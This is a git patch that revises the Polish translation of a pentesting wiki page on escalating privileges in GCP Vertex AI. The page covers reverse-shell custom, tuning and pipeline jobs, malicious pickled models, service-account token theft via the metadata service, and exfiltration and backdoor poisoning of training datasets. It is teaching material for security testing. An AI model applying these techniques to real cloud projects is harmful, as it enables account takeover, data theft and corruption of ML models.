From d00ccec2fd020842091bfab154ad1a01e5d92074 Mon Sep 17 00:00:00 2001 From: Translator Date: Mon, 24 Nov 2025 10:25:05 +0000 Subject: [PATCH] Translated ['', 'src/pentesting-cloud/gcp-security/gcp-privilege-escalat --- .../gcp-vertex-ai-privesc.md | 128 +++++++++--------- 1 file changed, 62 insertions(+), 66 deletions(-) diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md index c51fa043d..fc56dd145 100644 --- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md +++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-vertex-ai-privesc.md @@ -4,7 +4,7 @@ ## Vertex AI -Aby uzyskać więcej informacji o Vertex AI, sprawdź: +Więcej informacji o Vertex AI znajdziesz: {{#ref}} ../gcp-services/gcp-vertex-ai-enum.md @@ -12,15 +12,15 @@ Aby uzyskać więcej informacji o Vertex AI, sprawdź: ### `aiplatform.customJobs.create`, `iam.serviceAccounts.actAs` -Posiadając uprawnienie `aiplatform.customJobs.create` oraz `iam.serviceAccounts.actAs` do docelowego service account, atakujący może **uruchomić dowolny kod z podwyższonymi uprawnieniami**. +Posiadając uprawnienie `aiplatform.customJobs.create` oraz `iam.serviceAccounts.actAs` na docelowym koncie usługi, atakujący może **wykonać dowolny kod z podwyższonymi uprawnieniami**. -Mechanizm polega na utworzeniu custom training job, który uruchamia kod kontrolowany przez atakującego (albo w niestandardowym kontenerze, albo w pakiecie Python). Podając uprzywilejowany service account przez flagę `--service-account`, zadanie dziedziczy uprawnienia tego service account. Zadanie uruchamiane jest na infrastrukturze zarządzanej przez Google z dostępem do GCP metadata service, co pozwala na wydobycie OAuth access token przypisanego do service account. +Polega to na utworzeniu custom training job, który uruchamia kod kontrolowany przez atakującego (albo custom container, albo Python package). Wskazując uprzywilejowane konto usługi za pomocą flagi `--service-account`, job dziedziczy uprawnienia tego konta usługi. Job uruchamia się na infrastrukturze zarządzanej przez Google z dostępem do GCP metadata service, co umożliwia wydobycie tokenu dostępu OAuth konta usługi. -**Wpływ**: Pełna eskalacja uprawnień do uprawnień docelowego service account. +**Wpływ**: Pełna eskalacja uprawnień do poziomu uprawnień docelowego konta usługi.
-Utwórz niestandardowe zadanie z reverse shell +Create custom job with reverse shell ```bash # Method 1: Reverse shell to attacker-controlled server (most direct access) gcloud ai custom-jobs create \ @@ -65,19 +65,17 @@ gcloud ai custom-jobs stream-logs --region= ```
-> [!CAUTION] -> Niestandardowe zadanie będzie uruchamiane z uprawnieniami określonego konta usługi. Upewnij się, że masz uprawnienie `iam.serviceAccounts.actAs` na docelowym koncie usługi. ### `aiplatform.models.upload`, `aiplatform.models.get` -Ta technika umożliwia eskalację uprawnień poprzez przesłanie modelu do Vertex AI, a następnie wykorzystanie tego modelu do wykonania kodu z podwyższonymi uprawnieniami poprzez wdrożenie endpointu lub uruchomienie batch prediction job. +Ta technika umożliwia eskalację uprawnień poprzez przesłanie modelu do Vertex AI, a następnie wykorzystanie tego modelu do wykonania kodu z podwyższonymi uprawnieniami poprzez wdrożenie endpointu lub uruchomienie zadania batch prediction. > [!NOTE] -> Aby przeprowadzić ten atak, potrzebne jest posiadanie world-readable GCS bucket lub utworzenie nowego w celu przesłania artefaktów modelu. +> Aby przeprowadzić ten atak potrzebny jest GCS bucket dostępny do odczytu dla wszystkich lub trzeba utworzyć nowy, aby przesłać artefakty modelu.
-Prześlij złośliwy pickled model zawierający reverse shell +Upload malicious pickled model with reverse shell ```bash # Method 1: Upload malicious pickled model (triggers on deployment, not prediction) # Create malicious sklearn model that executes reverse shell when loaded @@ -113,7 +111,7 @@ gcloud ai models upload \
-Prześlij model z reverse shell w kontenerze +Prześlij model z container reverse shell ```bash # Method 2 using --container-args to run a persistent reverse shell @@ -145,12 +143,12 @@ gcloud ai models upload \
> [!DANGER] -> Po przesłaniu złośliwego modelu atakujący może poczekać, aż ktoś użyje modelu, lub sam uruchomić model poprzez endpoint deployment lub batch prediction job. +> Po przesłaniu złośliwego modelu atakujący może poczekać, aż ktoś użyje modelu, lub uruchomić model samodzielnie poprzez wdrożenie na endpoint lub zadanie wsadowej predykcji. -#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) lub ( `aiplatform.endpoints.setIamPolicy` ) +#### `iam.serviceAccounts.actAs`, ( `aiplatform.endpoints.create`, `aiplatform.endpoints.deploy`, `aiplatform.endpoints.get` ) or ( `aiplatform.endpoints.setIamPolicy` ) -Jeśli masz uprawnienia do tworzenia i wdrażania modeli na endpointach lub modyfikowania polityk IAM endpointu, możesz wykorzystać przesłane złośliwe modele w projekcie do eskalacji uprawnień. Aby wywołać jeden z wcześniej przesłanych złośliwych modeli przez endpoint, wszystko, co musisz zrobić, to: +Jeśli masz uprawnienia do tworzenia i wdrażania modeli na endpointy lub do modyfikowania zasad IAM endpointów, możesz wykorzystać przesłane złośliwe modele w projekcie do eskalacji uprawnień. Aby wywołać jeden z wcześniej przesłanych złośliwych modeli za pośrednictwem endpointu, wystarczy:
@@ -175,12 +173,10 @@ gcloud ai endpoints deploy-model \ #### `aiplatform.batchPredictionJobs.create`, `iam.serviceAccounts.actAs` -Jeśli masz uprawnienia do utworzenia **batch prediction jobs** i uruchomienia go za pomocą service account, możesz uzyskać dostęp do metadata service. Złośliwy kod wykonuje się z **custom prediction container** lub **malicious model** podczas procesu batch prediction. - -**Note**: Batch prediction jobs można tworzyć tylko przez REST API lub Python SDK (brak wsparcia dla gcloud CLI). +Jeśli masz uprawnienia do tworzenia **batch prediction jobs** i uruchamiania ich przy użyciu service account, możesz uzyskać dostęp do metadata service. Złośliwy kod wykonuje się z poziomu **custom prediction container** lub **malicious model** podczas procesu batch prediction. > [!NOTE] -> Ten atak wymaga najpierw przesłania malicious model (zobacz sekcję `aiplatform.models.upload` powyżej) lub użycia custom prediction container z twoim reverse shell code. +> Ten atak wymaga najpierw przesłania malicious model (zob. sekcję `aiplatform.models.upload` powyżej) lub użycia custom prediction container z twoim reverse shell code.
@@ -240,10 +236,10 @@ https://${REGION}-aiplatform.googleapis.com/v1/projects/${PROJECT}/locations/${R ### `aiplatform.models.export` -Jeżeli posiadasz uprawnienie **models.export**, możesz wyeksportować artefakty modelu do GCS bucket, którym zarządzasz, co potencjalnie umożliwia dostęp do wrażliwych danych treningowych lub plików modelu. +Jeśli masz uprawnienie **models.export**, możesz wyeksportować artefakty modelu do GCS bucket, którym zarządzasz, potencjalnie uzyskując dostęp do wrażliwych danych treningowych lub plików modelu. > [!NOTE] -> Aby przeprowadzić attack, wymagany jest GCS bucket dostępny do odczytu i zapisu dla wszystkich (world readable and writable) lub utworzenie nowego, aby przesłać artefakty modelu. +> Aby przeprowadzić ten atak, potrzebny jest GCS bucket dostępny do odczytu i zapisu dla wszystkich lub trzeba utworzyć nowy, aby przesłać artefakty modelu.
@@ -274,16 +270,16 @@ gsutil -m cp -r gs://your-controlled-bucket/exported-models/ ./ ### `aiplatform.pipelineJobs.create`, `iam.serviceAccounts.actAs` -Utwórz **ML pipeline jobs**, które wykonują wiele kroków z dowolnymi kontenerami i umożliwiają privilege escalation przez reverse shell access. +Utwórz **ML pipeline jobs**, które wykonują wiele etapów przy użyciu dowolnych kontenerów i umożliwiają privilege escalation poprzez reverse shell access. -Pipelines są szczególnie potężne do privilege escalation, ponieważ wspierają ataki wieloetapowe, gdzie każdy komponent może używać innych kontenerów i konfiguracji. +Pipelines są szczególnie skuteczne w privilege escalation, ponieważ obsługują multi-stage attacks, w których każdy komponent może używać różnych kontenerów i konfiguracji. > [!NOTE] > Potrzebujesz world writable GCS bucket, aby użyć go jako pipeline root.
-Zainstaluj Vertex AI SDK +Install Vertex AI SDK ```bash # Install the Vertex AI SDK first pip install google-cloud-aiplatform @@ -386,15 +382,15 @@ print(f" {response.text}") ### `aiplatform.hyperparameterTuningJobs.create`, `iam.serviceAccounts.actAs` -Utwórz **hyperparameter tuning jobs**, które wykonują dowolny kod z podwyższonymi uprawnieniami poprzez niestandardowe training containers. +Twórz **zadania strojenia hiperparametrów**, które uruchamiają dowolny kod z podwyższonymi uprawnieniami przy użyciu niestandardowych kontenerów treningowych. -Hyperparameter tuning jobs pozwalają uruchomić wiele prób treningowych równolegle, z różnymi wartościami hiperparametrów. Poprzez wskazanie złośliwego containera zawierającego reverse shell lub polecenie exfiltration i powiązanie go z uprzywilejowanym service account, można osiągnąć privilege escalation. +Zadania strojenia hiperparametrów pozwalają uruchomić wiele prób treningowych równolegle, z różnymi wartościami hiperparametrów. Poprzez wskazanie złośliwego kontenera zawierającego reverse shell lub exfiltration command i powiązanie go z uprzywilejowanym service account, można osiągnąć privilege escalation. -**Impact**: Pełne privilege escalation do uprawnień docelowego service account. +**Impact**: Pełna privilege escalation do uprawnień docelowego service account.
-Utwórz hyperparameter tuning job with reverse shell +Utwórz zadanie strojenia hiperparametrów z reverse shellem ```bash # Method 1: Python reverse shell (most reliable) # Create HP tuning job config with reverse shell @@ -435,15 +431,15 @@ gcloud ai hp-tuning-jobs create \ ### `aiplatform.datasets.export` -Eksportuj **zbiory danych** w celu exfiltrate danych treningowych, które mogą zawierać wrażliwe informacje. +Eksportuj **datasets** w celu exfiltrate danych treningowych, które mogą zawierać wrażliwe informacje. -**Uwaga**: Operacje na zbiorach danych wymagają REST API lub Python SDK (brak wsparcia gcloud CLI dla zbiorów danych). +**Uwaga**: operacje na datasetach wymagają REST API lub Python SDK (brak wsparcia gcloud CLI dla datasets). -Zbiory danych często zawierają oryginalne dane treningowe, które mogą zawierać PII, poufne dane biznesowe lub inne wrażliwe informacje użyte do trenowania modeli produkcyjnych. +Datasets często zawierają oryginalne dane treningowe, które mogą obejmować PII, poufne dane biznesowe lub inne wrażliwe informacje użyte do trenowania modeli produkcyjnych.
-Eksport zbioru danych w celu exfiltrate danych treningowych +Eksport datasetu w celu exfiltrate danych treningowych ```bash # Step 1: List available datasets to find a target dataset ID PROJECT="your-project" @@ -492,25 +488,25 @@ cat exported-data/*/data-*.jsonl ### `aiplatform.datasets.import` -Importuj złośliwe lub poisoned dane do istniejących zbiorów danych, aby **manipulować szkoleniem modeli i wprowadzać backdoors**. +Importuj złośliwe lub zatrute dane do istniejących zbiorów danych, aby **manipulować treningiem modelu i wprowadzać backdoors**. -**Uwaga**: operacje na zbiorach danych wymagają REST API lub Python SDK (brak wsparcia gcloud CLI dla zbiorów danych). +**Uwaga**: Operacje na zbiorach danych wymagają REST API lub Python SDK (brak wsparcia gcloud CLI dla zbiorów danych). -Poprzez import starannie przygotowanych danych do zbioru danych używanego do szkolenia modeli ML, atakujący może: -- Wprowadzić backdoors do modeli (trigger-based misclassification) -- Poison training data, aby pogorszyć wydajność modelu -- Wstrzyknąć dane, powodując leak informacji przez modele +Poprzez importowanie spreparowanych danych do zbioru danych używanego do trenowania modeli ML, atakujący może: +- Wprowadzić backdoors do modeli (błędna klasyfikacja wywoływana triggerem) +- Zatrucie danych treningowych w celu pogorszenia wydajności modelu +- Wstrzyknąć dane, aby modele zaczęły leakować informacje - Manipulować zachowaniem modelu dla określonych wejść -Ten atak jest szczególnie skuteczny, gdy celem są zbiory danych wykorzystywane do: -- Klasyfikacja obrazów (wstrzyknięcie błędnie oznakowanych obrazów) -- Klasyfikacja tekstu (wstrzyknięcie tendencyjnego lub złośliwego tekstu) -- Wykrywanie obiektów (manipulacja prostokątami ograniczającymi) -- Systemy rekomendacyjne (wstrzyknięcie fałszywych preferencji) +Ten atak jest szczególnie skuteczny w przypadku celowania w zbiory danych używane do: +- Klasyfikacja obrazów (wstrzyknięcie błędnie oznaczonych obrazów) +- Klasyfikacja tekstu (wstrzyknięcie stronniczego lub złośliwego tekstu) +- Wykrywanie obiektów (manipulowanie ramkami ograniczającymi) +- Systemy rekomendacji (wstrzyknięcie fałszywych preferencji)
-Import poisoned data into dataset +Importuj zatrute dane do zbioru danych ```bash # Step 1: List available datasets to find target PROJECT="your-project" @@ -567,11 +563,11 @@ curl -s -X GET \ ```
-**Scenariusze ataku:** +**Scenariusze ataków:**
-Backdoor attack - Image classification +Backdoor attack - klasyfikacja obrazów ```bash # Scenario 1: Backdoor Attack - Image Classification # Create images with a specific trigger pattern that causes misclassification @@ -598,7 +594,7 @@ done > label_flip.jsonl
-Data poisoning for model extraction +Data poisoning dla model extraction ```bash # Scenario 3: Data Poisoning for Model Extraction # Inject carefully crafted queries to extract model behavior @@ -625,34 +621,34 @@ EOF
> [!DANGER] -> Data poisoning attacks can have severe consequences: -> - **Systemy bezpieczeństwa**: Obejście rozpoznawania twarzy lub wykrywania anomalii -> - **Wykrywanie oszustw**: Naucz modele ignorować konkretne wzorce oszustw -> - **Moderacja treści**: Sprawić, że szkodliwe treści zostaną sklasyfikowane jako bezpieczne -> - **AI medyczne**: Błędna klasyfikacja krytycznych stanów zdrowotnych -> - **Systemy autonomiczne**: Manipulacja wykrywaniem obiektów przy decyzjach krytycznych dla bezpieczeństwa -> -> **Wpływ**: -> - Modele z backdoorem, które błędnie klasyfikują przy określonych wyzwalaczach -> - Pogorszenie wydajności i dokładności modelu -> - Stronnicze modele, które dyskryminują określone dane wejściowe -> - Wycieki informacji przez zachowanie modelu -> - Długoterminowa persystencja (modele wytrenowane na zatrutych danych odziedziczą backdoor) +> Data poisoning attacks mogą mieć poważne konsekwencje: +> - **Security systems**: obejście rozpoznawania twarzy lub wykrywania anomalii +> - **Fraud detection**: wyszkolenie modeli do ignorowania określonych wzorców oszustw +> - **Content moderation**: spowodowanie sklasyfikowania szkodliwych treści jako bezpiecznych +> - **Medical AI**: błędna klasyfikacja krytycznych stanów zdrowotnych +> - **Autonomous systems**: manipulowanie wykrywaniem obiektów przy podejmowaniu decyzji kluczowych dla bezpieczeństwa + +**Impact**: +- Modele z backdoorem, które błędnie klasyfikują przy określonych wyzwalaczach +- Obniżona wydajność i dokładność modeli +- Stronnicze modele dyskryminujące określone dane wejściowe +- Ujawnianie informacji przez zachowanie modelu +- Długotrwała trwałość (modele wytrenowane na zatrutych danych odziedziczą backdoor) ### `aiplatform.notebookExecutionJobs.create`, `iam.serviceAccounts.actAs` > [!WARNING] > > [!NOTE] -> **Deprecated API**: The `aiplatform.notebookExecutionJobs.create` API jest przestarzałe w związku z wycofywaniem Vertex AI Workbench Managed Notebooks. Nowe podejście to użycie **Vertex AI Workbench Executor**, który uruchamia notebooki za pomocą `aiplatform.customJobs.create` (już omówione powyżej). -> Vertex AI Workbench Executor pozwala planować uruchomienia notebooków wykonywane na infrastrukturze custom training Vertex AI z określonym kontem usługi. To w istocie wygodny wrapper wokół `customJobs.create`. -> **For privilege escalation via notebooks**: Użyj metody `aiplatform.customJobs.create` opisanej powyżej, która jest szybsza, bardziej niezawodna i korzysta z tej samej infrastruktury co Workbench Executor. +> **Przestarzałe API**: API `aiplatform.notebookExecutionJobs.create` jest przestarzałe w ramach deprecjacji Vertex AI Workbench Managed Notebooks. Nowe podejście to użycie **Vertex AI Workbench Executor**, który uruchamia notebooks przez `aiplatform.customJobs.create` (opisane powyżej). +> Vertex AI Workbench Executor pozwala na harmonogramowanie uruchomień notebooków, które wykonują się na infrastrukturze treningowej Vertex AI z określonym service account. To w zasadzie wygodny wrapper wokół `customJobs.create`. +> **For privilege escalation via notebooks**: Użyj metody `aiplatform.customJobs.create` opisanej powyżej — jest szybsza, bardziej niezawodna i korzysta z tej samej infrastruktury co Workbench Executor. -**Poniższa technika jest przedstawiona wyłącznie w celach historycznych i nie jest zalecana do stosowania w nowych ocenach.** +**Poniższa technika jest podana wyłącznie w kontekście historycznym i nie jest zalecana do stosowania w nowych testach.** -Utwórz **zadania wykonywania notebooków**, które uruchamiają notebooki Jupyter z dowolnym kodem. +Utwórz **notebook execution jobs**, które uruchamiają Jupyter notebooks z dowolnym kodem. -Zadania notebooków są idealne do interaktywnego wykonywania kodu przy użyciu konta usługi, ponieważ obsługują komórki kodu Python i polecenia powłoki. +Zadania notebooków są idealne do interaktywnego wykonywania kodu z użyciem service account, ponieważ obsługują komórki z kodem Python oraz polecenia powłoki.
@@ -683,7 +679,7 @@ gsutil cp malicious.ipynb gs://deleteme20u9843rhfioue/malicious.ipynb
-Uruchom notebook z użyciem docelowego konta usługi +Uruchom notebook z docelowym kontem usługi ```bash # Create notebook execution job using REST API PROJECT="gcp-labs-3uis1xlx"